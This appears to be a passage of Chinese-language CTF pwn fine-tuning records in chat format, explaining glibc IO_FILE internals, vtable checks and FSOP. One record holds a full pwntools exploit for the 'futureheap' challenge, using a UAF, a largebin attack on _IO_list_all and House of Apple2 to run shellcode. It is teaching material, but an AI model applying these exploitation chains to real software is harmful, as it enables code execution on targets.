_IO_USE_OLD_IO_FILE\n};\nstruct _IO_FILE_complete\n{\n  struct _IO_FILE _file;\n#endif\n#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001\n  _IO_off64_t _offset;", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-doc-54b23f4d19074bd3", "original_line": 22, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-54b23f4d19074bd3", "source_split": "validation", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c5c22f674699d191957b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "根据 `IO-FILE/house of apple2/2024ylb futureheap` 目录下的 writeup 和 exploit 示例，蒸馏一条训练样本：总结题目、漏洞点、利用链、关键代码和验证状态。", "role": "user"}, {"content": "## 题目路径\n`IO-FILE/house of apple2/2024ylb futureheap`\n\n## Writeup 蒸馏\n# 2024ylb futureheap WP\n\n## 1. 题目信息\n\n附件：\n\n- `pwn`\n- `libc.so.6`\n- `ld-linux-x86-64.so.2`\n- `exp.py`\n\n保护：\n\n```text\nRELRO:      Full RELRO\nStack:      Canary found\nNX:         NX enabled\nPIE:        PIE enabled\nSHSTK:      Enabled\nIBT:        Enabled\nStripped:   No\n```\n\n程序是 glibc 2.35 环境，GOT 不可改，NX/PIE/Canary 均开启。最终利用路线是：\n\n```text\n全局 name 溢出控 seed\n    -> 预测 rand，解出 libc base / mmap 地址\n    -> UAF 改 largebin chunk 的 bk_nextsize\n    -> largebin attack 写 _IO_list_all\n    -> 伪造 FILE，House of Apple2 / FSOP\n    -> exit 刷新 _IO_list_all，跳到 RWX mmap 上的 ORW shellcode\n```\n\n## 2. 逆向分析\n\n### 2.1 初始化与信息泄露\n\n程序初始化时会先申请一页 RWX mmap：\n\n```c\nfortune = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,\n               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n```\n\n随后读入名字：\n\n```c\nchar buf[0x20];\nscanf(\"%16s\", buf);\nstrcpy(name, buf);\n```\n\n相关全局变量位置：\n\n```text\nfortune = 0x4080\nwheel   = 0x40a0\nname    = 0x40d0\nseed    = 0x40d8\n```\n\n`name` 只有 8 字节，`seed` 紧跟在 `name` 后面。输入 16 个 `a` 后，`seed` 被覆盖为 `0x61616161`，于是 `srand(seed)` 的随机数序列可预测。\n\n初始化中泄露提示的逻辑为：\n\n```c\nsrand(seed);\nwolf  = rand();\nsword = rand();\ntmp0  = rand();\nlion  = setvbuf_got ^ tmp0 ^ wolf;\nsnake = fortune ^ rand() ^ sword;\n```\n\n所以：\n\n```python\nlibcbase = (lion ^ tmp0 ^ wolf) - libc.sym[\"setvbuf\"]\nfortune  = snake ^ tmp1 ^ sword\n```\n\n其中本题 libc 关键偏移：\n\n```text\nsetvbuf        = 0x815f0\nsystem         = 0x50d70\n_IO_list_all   = 0x21b680\n_IO_wfile_jumps= 0x2170c0\n```\n\n### 2.2 菜单功能\n\n程序有 3 个普通功能和 1 个隐藏功能：\n\n```text\n1. build(idx, size)\n2. fix(idx, content)\n3. drop(idx)\n4. _fix(password, content)    # 隐藏功能，向 fortune 写数据\n```\n\n`build` 限制：\n\n```c\n0 <= idx <= 5\n0x500 < size <= 0x700\nwheel[idx] = malloc(size);\n```\n\n`fix`：\n\n```c\nif (wheel[idx] && 0 <= idx <= 5) {\n    read(0, wheel[idx], 0x500);\n    fixC--;\n}\n```\n\n`drop`：\n\n```c\nif (wheel[idx] && 0 <= idx <= 5) {\n    free(wheel[idx]);\n    // 没有清空 wheel[idx]\n}\n```\n\n这里存在典型 UAF：`drop` 释放后没有置空，后续还能通过 `fix` 往 freed chunk 写入数据。\n\n隐藏函数 `_fix` 先读入一段字符串，经自定义 base64 表编码后与常量比较：\n\n```text\n目标字符串: bMeNgmvPv)oNzp==\n正确口令:   74r0t#C@rd\n```\n\n验证通过后：\n\n```c\nread(0, fortune, 0x500);\nfixC--;\n```\n\n`fixC` 初始为 3，三次写入机会用完后，再选择菜单 `2` 或 `4` 会触发 `exit(0)`。\n\n### 2.3 沙箱限制\n\n程序安装 seccomp，禁用了：\n\n```text\nwrite\nopen\nsocket\nexecve\nexecveat\n```\n\n因此不能直接 `system(\"/bin/sh\")`，也不能用普通 `open + write`。但 `openat` 和 `sendfile` 没被禁，可以使用：\n\n```asm\nopenat(0, \"/flag\", 0)\nsendfile(1, fd, 0, 0x100)\n```\n\n## 3. 漏洞利用\n\n### 3.1 堆布局\n\n申请 4 个 large chunk，其中 `idx 4/5` 作为隔离块，防止与 top chunk 合并：\n\n```python\nbuild(0, 0x520)\nbuild(4, 0x600)\nbuild(1, 0x510)\nbuild(5, 0x600)\n```\n\n释放 `idx 0` 后，再申请一个更大的 `0x530`，使 `idx 0` 进入 largebin：\n\n```python\ndrop(0)\nbuild(2, 0x530)\n```\n\n然后释放 `idx 1`，让它先进入 unsorted bin：\n\n```python\ndrop(1)\n```\n\n此时 `idx 0` 是 largebin 中较大的 chunk，`idx 1` 是 unsorted bin 中较小的 chunk。后续 malloc 时会把 `idx 1` 插入 largebin，触发 largebin attack。\n\n### 3.2 largebin attack 写 `_IO_list_all`\n\n利用 UAF 修改 `idx 0` 的 largebin 元数据：\n\n```python\ntarget = libcbase + libc.sym[\"_IO_list_all\"]\nfix(0, p64(0) * 3 + p64(target - 0x20))\n```\n\n这里修改的是 freed large chunk 的 `bk_nextsize`。再次申请触发 largebin 插入逻辑：\n\n```python\nbuild(3, 0x530)\n```\n\n触发后，`_IO_list_all` 被写成 largebin chunk 地址。由于写入 `_IO_list_all` 的是 chunk header 地址，而 `fix(1, payload)` 写的是 user area，所以伪造 FILE 时需要整体减去 `0x10` 的偏移。\n\n### 3.3 伪造 FILE 结构\n\n伪造 `_IO_FILE_plus` 的关键字段：\n\n```python\npayload  = p64(0) * 2 + p64(1) + p64(2)\npayload  = payload.ljust(0x78, b\"\\x00\") + p64(fortune + 0x4a0)              # _lock\npayload  = payload.ljust(0x90, b\"\\x00\") + p64(fortune + 0x200)              # _wide_data\npayload  = payload.ljust(0xc8, b\"\\x00\") + p64(libcbase + libc.sym[\"_IO_wfile_jumps\"])\nfix(1, payload)\n```\n\n偏移解释：\n\n```text\n真实 FILE offset 0x20 / 0x28: _IO_write_base = 1, _IO_write_ptr = 2\n真实 FILE offset 0x88:        _lock = fortune + 0x4a0\n真实 FILE offset 0xa0:        _wide_data = fortune + 0x200\n真实 FILE offset 0xd8:        vtable = _IO_wfile_jumps\n```\n\n因为 `_IO_list_all` 指向 chunk header，写 payload 的 user area 相对 FILE 起点偏移 `+0x10`，所以脚本里使用的是 `0x78/0x90/0xc8`。\n\n### 3.4 House of Apple2\n\n`_IO_wfile_jumps` 路径最终会调用：\n\n```text\nfp->_wide_data->_wide_vtable + 0x68\n```\n\n所以在 `fortune + 0x200` 伪造 `_IO_wide_data` 和 fake wide vtable：\n\n```python\nwide_data  = b\"\\x00\"\nwide_data  = wide_data.ljust(0x68, b\"\\x00\")\nwide_data += p64(fortune)          # fake wide vtable[0x68] -> shellcode\nwide_data  = wide_data.ljust(0xe0, b\"\\x00\")\nwide_data += p64(fortune + 0x200)  # _wide_vtable\n```\n\n`fortune` 页是 RWX，所以 `fortune` 起始位置直接放 ORW shellcode。\n\n### 3.5 触发\n\n前两次 `fix` 分别用于：\n\n```text\n1. UAF 改 largebin 元数据\n2. UAF 伪造 FILE\n```\n\n第三次通过隐藏功能 `_fix` 写入 `fortune`：\n\n## Exploit 关键代码\n### IO-FILE/house of apple2/2024ylb futureheap/exp.py\n```python\nfrom pwn import *\nfrom ctypes import *\ncontext(os='linux', arch='amd64', log_level='debug')\np = process(\"pwn\")\n# p=gdb.debug(\"/home/zp9080/PWN/pwn\",'b *$rebase(0x1417)')\n# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])\nelf = ELF(\"pwn\")\nlibc=elf.libc\n\n#b *$rebase(0x14F5)\ndef dbg():\n    gdb.attach(p,'b *$rebase(0x1EFC)')\n    pause()\n\ndef build(idx,size):\n    p.sendline(str(1))\n    p.sendline(str(idx))\n    p.sendline(str(size))\n\ndef fix(idx,cont):\n    p.sendline(str(2))\n    p.sendline(str(idx))\n    sleep(0.1)\n    p.send(cont)\n    sleep(0.1)\n\n\ndef drop(idx):\n    p.sendline(str(3))\n    p.sendline(str(idx))\n\n#YLCTF{94aab93f-15dd-4ca4-a5f5-fb9079f3de71}\n# dbg()\np.sendlineafter(\"Tell me your name, my dear: \", b'a'*16)\nLIBC = CDLL('/home/zp9080/PWN/libc.so.6')\nseed = 0x61616161\nLIBC.srand(seed)\nwolf=LIBC.rand()\nsword=LIBC.rand()\ntmp0=LIBC.rand()\ntmp1=LIBC.rand()\np.recvuntil('Lion is ')\n#泄露libcbase\nlibcbase=(int(eval(p.recvline()))^tmp0^wolf) -libc.sym['setvbuf']\nprint(hex(libcbase))\n#泄露mmap地址\np.recvuntil('Snake is ')\nfortune=int(eval(p.recvline()))^tmp1^sword\nprint(hex(fortune))\n\nbuild(0,0x520) #0\nbuild(4,0x600)\nbuild(1,0x510) #1\nbuild(5,0x600)\n\ndrop(0)\n#让0进入largebin\nbuild(2,0x530)\n\n#1在unsorted bin中\ndrop(1)\n#size(0)>size(1)\ntarget=libcbase+libc.sym['_IO_list_all']\nfix(0,p64(0)*3+p64(target-0x20))\n\n#触发largebin attack\nbuild(3,0x530)\n\n# dbg()\n# fake_IO_addr =\nsystem_addr=libcbase+libc.sym['system']\n\npayload = p64(0)*2+ p64(1) + p64(2) #这样设置满足fsop\npayload = payload.ljust(0x78, b'\\x00') + p64(fortune+0x4a0) #FAKE FILE+0x88\npayload = payload.ljust(0x90, b'\\x00') + p64(fortune+0x200) #_wide_data\npayload = payload.ljust(0xc8, b'\\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps\nfix(1,payload)\n\nwide_data=b'\\x00'\nwide_data=wide_data.ljust(0x68,b'\\x00')\nwide_data+=p64(fortune)\nwide_data=wide_data.ljust(0xe0,b'\\x00')\nwide_data+=p64(fortune+0x200)\n\np.sendline(str(4))\norw_shellcode= shellcraft.openat(0,'/flag\\x00')\norw_shellcode += shellcraft.sendfile(1,3,0,0x100)\nenc=b'74r0t#C@rd'\np.sendline(enc)\npayload=asm(orw_shellcode).ljust(0x200,b'\\x90')+wide_data\np.send(payload)\nsleep(0.1)\n\n# dbg()\np.sendline(str(2))\n\np.interactive()\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 42, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-pair-7e4a8fc954b73258", "original_line": 26, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/house of apple2/2024ylb futureheap", "source_record_id": "pwn101-pair-7e4a8fc954b73258", "source_split": "validation", "split": "train", "split_group_key": "7389e258b37843dcb25439f8"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/house of apple2/2024ylb futureheap", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c6e664654767a35d9618", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fread」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### fread\nfread 是标准 IO 库函数，作用是从文件流中读数据，函数原型如下\n\nsize_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;\n\nfread 函数的各个参数作用如下：\n\n+ void *buffer：这是一个指向内存中某块空间的指针，fread 从文件读取的数据将会被存放于此。需要提前确保这块内存空间（如数组或变量）已经分配好，并且足够大以容纳将要读取的数据。\n+ size_t size：这个参数指定了你要读取的每个数据元素的大小，单位是字节。例如，如果打算读取一组 int类型的数据，通常这里会使用 sizeof(int)。\n+ size_t count：这个参数指定了你希望读取多少个上述大小为 size 的数据元素。fread会尝试读取 size * count个字节的数据。\n+ FILE *stream：这是一个指向 FILE对象的指针，它指定了数据从哪个已打开的文件流中读取。这个指针通常是由 fopen函数成功打开文件后返回的。\n+ 返回值：fread函数返回的是成功读取的完整数据元素的个数（即 count的数值），而不是字节数。如果返回值小于 count，可能意味着发生了错误或者已经到达文件末尾（EOF）。\n\n\"image-20251212225824141.png\"\n\n_IO_sgetn函数定义在libio/genops.c这个文件内，在_IO_sgetn 函数中会直接返回_IO_XSGETN\n\n[图片: image-20251212225953990.png]\n\n`_IO_XSGETN`是一个在 glibc 的 IO 系统内部用于实现多态调用的宏，它的定义位于头文件 libio/libioP.h中，AI是这样解释的：这里的 `JUMP2`是另一个宏，负责最终的函数跳转。它的作用是：**根据传入的 FILE 结构体 (**`FP`**) 找到其对应的虚函数表 (vtable)，然后从表中取出 `__xsgetn`函数指针并调用它**，同时将参数 `FP`, `DATA`, `N`传递过去。\n\n[图片: image-20251212230110426.png]\n\n\n也就是说`fread`最后会调用vtable表中的**xsgetn函数指针，最后调用了**GI__IO_file_xsgetn。这个以 `__GI_`为前缀的符号通常是 glibc 内部用于**绑定到实际实现函数**的别名，其真正的函数定义就是 `_IO_file_xsgetn`。\n\n这个函数内还调用了vtable中的__underflow指针\n\n\"image-20251212230619791.png\"\n\n\n类似地最终会调用系统接口 read 函数\n\nfread --> _IO_sgetn --> _IO_XSGETN --> **xsgetn --> **IO_file_xsgetn --> __underflow --> _IO_new_file_underflow --> _IO_SYSREAD", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-70b6328790c14b93", "original_line": 251, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-70b6328790c14b93", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c7ba319cf03b07620c1b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「简介」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## 简介\n\nIO FILE 是什么？在 Linux 系统中，IO FILE（标准 IO 库中的`FILE`结构体）是用户态文件操作的核心抽象，位于 libc 中，负责管理文件描述符、缓冲区和读写位置等关键信息。攻击者常通过篡改该结构体实现内存泄露或控制流劫持，是二进制安全研究的重要攻击面。\n\n学习 IO_FILE 的利用没必要将所有成员干什么了解清楚，我们主要是针对每一种攻击思路了解每个数据结构在干什么其它的可以忽略。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-doc-a23ef79af8c5f3cc", "original_line": 23, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-a23ef79af8c5f3cc", "source_split": "validation", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-d0e634786e4821e89c3f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「触发程序执行」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 触发程序执行\n\n+ 第二次循环遍历 unsorted bin 时，`victim = _IO_list_all - 0x10`，不会通过 size 检查。\n+ 进入 `malloc_printerr`，最终触发 `_IO_OVERFLOW`。\n\n```c\nfp = (_IO_FILE*) _IO_list_all;\nwhile (fp) {\n    if ((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)\n        && _IO_OVERFLOW(fp, EOF) == EOF)\n        result = EOF;\n    fp = fp->_chain;\n}\n```\n\n+ 如果 `_IO_FILE` 结构满足条件，会调用 vtable 中的 `_IO_overflow`，获得 shell。\n\n注意事项：\n\n+ 自 glibc-2.27 起，abort 函数改动，不再调用 `_IO_flush_all_lockp`，因此无法再利用 `malloc_printerr` 劫持程序执行流。\n+ 仍可在旧版本 glibc 中使用 House of Orange + FSOP 实现远程代码执行。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::validation::pwn101_distilled_v1::validation::pwn101-doc-1b960649439fdbfd", "original_line": 20, "original_split": "validation", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/validation.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-1b960649439fdbfd", "source_split": "validation", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dbddb238a36d54fd0778", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「else」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# else\n  void *__pad1;\n  void *__pad2;\n  void *__pad3;\n  void *__pad4;\n\n  size_t __pad5;\n  int _mode;\n  /* Make sure we don't get into trouble again.  */\n  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];\n#endif\n};\n```\n\n进程中的 FILE 结构会通过`_chain`域彼此连接形成一个链表，链表头部用全局变量_IO_list_all 表示，通过这个值我们可以遍历所有的 FILE 结构。\n\n在标准 I/O 库中，每个程序启动时有三个文件流是自动打开的：stdin、stdout、stderr。因此在初始状态下，_IO_list_all 指向了一个有这些文件流构成的链表，但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。\n\n我们可以在 libc.so 中找到 stdin\\stdout\\stderr 等符号，这些符号是指向 FILE 结构的指针，真正结构的符号是\n\n```plain\n_IO_2_1_stderr_\n_IO_2_1_stdout_\n_IO_2_1_stdin_\n```\n\n`p _IO_list_all`可以看到`_IO_list_all`是指向`_IO_2_1_stderr_`，而且地址位于libc.so上。注意结构体是`_IO_FILE_plus`，后面会说到。\n\n[图片: image-20251212224109386.png]\n\n链表指向是`_IO_list_all` --> IO_2_1_stderr --> IO_2_1_stdout --> IO_2_1_stdin\n\n[图片: img]\n\n\n在初始状态下，链表中只有这三个文件流。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-f16acfe40d8919c4", "original_line": 271, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-f16acfe40d8919c4", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dd9722b3d85096aad225", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「sysmalloc 中 top chunk 检查」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### sysmalloc 中 top chunk 检查\n\n```c\nold_top = av->top;\nold_size = chunksize(old_top);\nold_end = (char*) chunk_at_offset(old_top, old_size);\n\n/* Precondition checks */\nassert((old_top == initial_top(av) && old_size == 0) ||\n       ((unsigned long)(old_size) >= MINSIZE &&\n        prev_inuse(old_top) &&\n        ((unsigned long)old_end & (pagesize - 1)) == 0));\n\nassert((unsigned long)(old_size) < (unsigned long)(nb + MINSIZE));\n```\n\n+ top chunk 必须满足：\n  - 大小对齐到内存页\n  - 大于 `MINSIZE` (0x10)\n  - 小于分配 chunk 的大小 + MINSIZE\n  - `prev_inuse` 位为 1\n+ 通过这些检查后，top chunk 会被释放到 unsorted bin。\n\n---", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-6e91f67c993eab65", "original_line": 250, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-6e91f67c993eab65", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-dec0608082c06277ea73", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「利用 IO_validate_vtable 劫持程序流」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 利用 IO_validate_vtable 劫持程序流\n自 glibc-2.24 起在调用 `vtable` 中的函数前会调用 `IO_validate_vtable` 检查 `vtable` 执向的 `_IO_jump_t` 的地址是否合法，\n\n```c\nstatic inline const struct _IO_jump_t *IO_validate_vtable(const struct _IO_jump_t *vtable) {\n    /* Fast path: The vtable pointer is within the __libc_IO_vtables\n       section.  */\n    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;\n    uintptr_t ptr = (uintptr_t) vtable;\n    uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;\n    if (__glibc_unlikely (offset >= section_length))\n        /* The vtable pointer is not in the expected section.  Use the\n           slow path, which will terminate the process if necessary.  */\n        _IO_vtable_check();\n    return vtable;\n}\n\nvoid attribute_hidden _IO_vtable_check(void) {\n#ifdef SHARED\n    /* Honor the compatibility flag.  */\n    void (*flag)(void) = atomic_load_relaxed (&IO_accept_foreign_vtables);\n#ifdef PTR_DEMANGLE\n    PTR_DEMANGLE (flag);\n#endif\n    if (flag == &_IO_vtable_check)\n        return;\n\n    /* In case this libc copy is in a non-default namespace, we always\n       need to accept foreign vtables because there is always a\n       possibility that FILE * objects are passed across the linking\n       boundary.  */\n    {\n        Dl_info di;\n        struct link_map *l;\n        if (!rtld_active()\n            || (_dl_addr(_IO_vtable_check, &di, &l, NULL) != 0\n                && l->l_ns != LM_ID_BASE))\n            return;\n    }\n    ...\n}\n\nstatic inline bool rtld_active (void) {\n  /* The default-initialized variable does not have a non-zero\n     dl_init_all_dirs member, so this allows us to recognize an\n     initialized and active ld.so copy.  */\n  return GLRO(dl_init_all_dirs) != NULL;\n}\n\nint _dl_addr(const void *address, Dl_info *info, struct link_map **mapp, const ElfW(Sym) **symbolp) {\n    const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);\n    int result = 0;\n\n    /* Protect against concurrent loads and unloads.  */\n    __rtld_lock_lock_recursive (GL(dl_load_lock));\n    ...\n\n\n声明位置: libc-lockP.h\n 定义:", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-810191a04e7e0d83", "original_line": 254, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-810191a04e7e0d83", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-e16bc3988cf336bacec5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「伪造 vtable 劫持程序流程」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 伪造 vtable 劫持程序流程\n前面我们介绍了 Linux 中文件流的特性（FILE），我们可以得知 Linux 中的一些常见的 IO 操作函数都需要经过 FILE 结构进行处理。尤其是_IO_FILE_plus 结构中存在 vtable，一些函数会取出 vtable 中的指针进行调用。\n\n因此伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚，通过把 vtable 指向我们控制的内存，并在其中布置函数指针来实现。\n\n因此 vtable 劫持分为两种,一种是**直接改写 vtable 中的函数指针**，通过任意地址写就可以实现。另一种是**覆盖 vtable 